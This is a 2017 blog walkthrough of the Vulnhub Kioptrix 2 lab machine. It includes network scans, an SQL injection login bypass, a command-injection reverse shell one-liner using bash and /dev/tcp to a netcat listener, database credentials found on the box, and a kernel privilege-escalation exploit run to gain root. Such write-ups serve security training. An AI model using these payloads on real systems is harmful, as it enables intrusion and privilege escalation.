Booj thoughts on security
Vulnhub - Kioptrix 2
root@kali:~# arp-scan -l
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
192.168.137.1 00:50:56:c0:00:01 VMware, Inc.
192.168.137.133 00:0c:29:9e:ff:2f VMware, Inc.
192.168.137.254 00:50:56:fe:05:d2 VMware, Inc.
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 1.851 seconds (138.30 hosts/sec). 3 responded
root@kali:~# nmap -A 192.168.137.133
Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2017-04-19 19:24 BST
Nmap scan report for 192.168.137.133
Host is up (0.00019s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99)
| ssh-hostkey:
| 1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1)
| 1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA)
|_ 1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA)
|_sshv1: Server supports SSHv1
80/tcp open http Apache httpd 2.0.52 ((CentOS))
|_http-server-header: Apache/2.0.52 (CentOS)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 855/udp status
|_ 100024 1 858/tcp status
443/tcp open ssl/http Apache httpd 2.0.52 ((CentOS))
|_http-server-header: Apache/2.0.52 (CentOS)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2009-10-08T00:10:47
|_Not valid after: 2010-10-08T00:10:47
|_ssl-date: 2017-04-19T15:15:02+00:00; -3h09m44s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_RC4_128_WITH_MD5
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC4_64_WITH_MD5
| SSL2_RC2_128_CBC_WITH_MD5
| SSL2_RC4_128_EXPORT40_WITH_MD5
|_ SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
631/tcp open ipp CUPS 1.1
| http-methods:
|_ Potentially risky methods: PUT
|_http-server-header: CUPS/1.1
|_http-title: 403 Forbidden
3306/tcp open mysql MySQL (unauthorized)
MAC Address: 00:0C:29:9E:FF:2F (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.30
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.19 ms 192.168.137.133
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.14 seconds
Firstly, we visit the web page and are greeted by a login page.
I didn’t really know SQL Injection when I was doing this box, and I did end up looking up the solution for bypassing this login form, as below:
' or 1=1 --
This is a pretty standard example of an SQL injection and gives us access to form allowing us to ping a device on the network. This immediately suggested some form of command injection. Since it’s a vulnerable machine, it seemed fairly obvious that we could input some other command.
So lets try and spawn a reverse shell.
192.168.137.128 && bash -i >& /dev/tcp/192.168.137.128/1234 0>&1
Boom! We have a shell.
root@kali:/usr/share/wordlists# nc -l -p 1234 -vvv
listening on [any] 1234 ...
192.168.137.133: inverse host lookup failed: Unknown host
connect to [192.168.137.128] from (UNKNOWN) [192.168.137.133] 32771
bash: no job control in this shell
bash-3.00$ ls
index.php
pingit.php
bash-3.00$
Let’s have a look inside the php files and see if we see anything interesting. Inside index.php after a little searching we find some credentials to the local mysql database.
mysql_connect("localhost", "john", "hiroshima") or die(mysql_error());
Unfortunately, dumping the database didn’t appear to yield us many more more ways of progressing. So we have a look at the kernel version and search for exploits.
CentOS release 4.5 (Final)
Linux version 2.6.9-55.EL
We searchsploit and come across a number of different candidates, but we find one in particular which appears to yield us some success.
Linux Kernel 2.4.x / 2.6.x (CentOS 4.8/5.3 / RHEL 4.8/5.3 / SuSE 10 SP2/11 / Ubuntu 8.10) (PPC) - 'sock_sendpage()' Privilege Escalation
Downloading and compiling greets us with the following error message:
bash-3.00$ ./9545
sh: no job control in this shell
So we just need to upgrade this shell to a tty.
>>> import pty
import pty
>>> pty.spawn('./9545')
pty.spawn('./9545')
sh-3.00# ls
ls
9542.c 9545 9545.c break dump.sql
sh-3.00# id
id
uid=0(root) gid=0(root) groups=48(apache)
Rooted!
Written on April 19th, 2017 by Josiah Beverton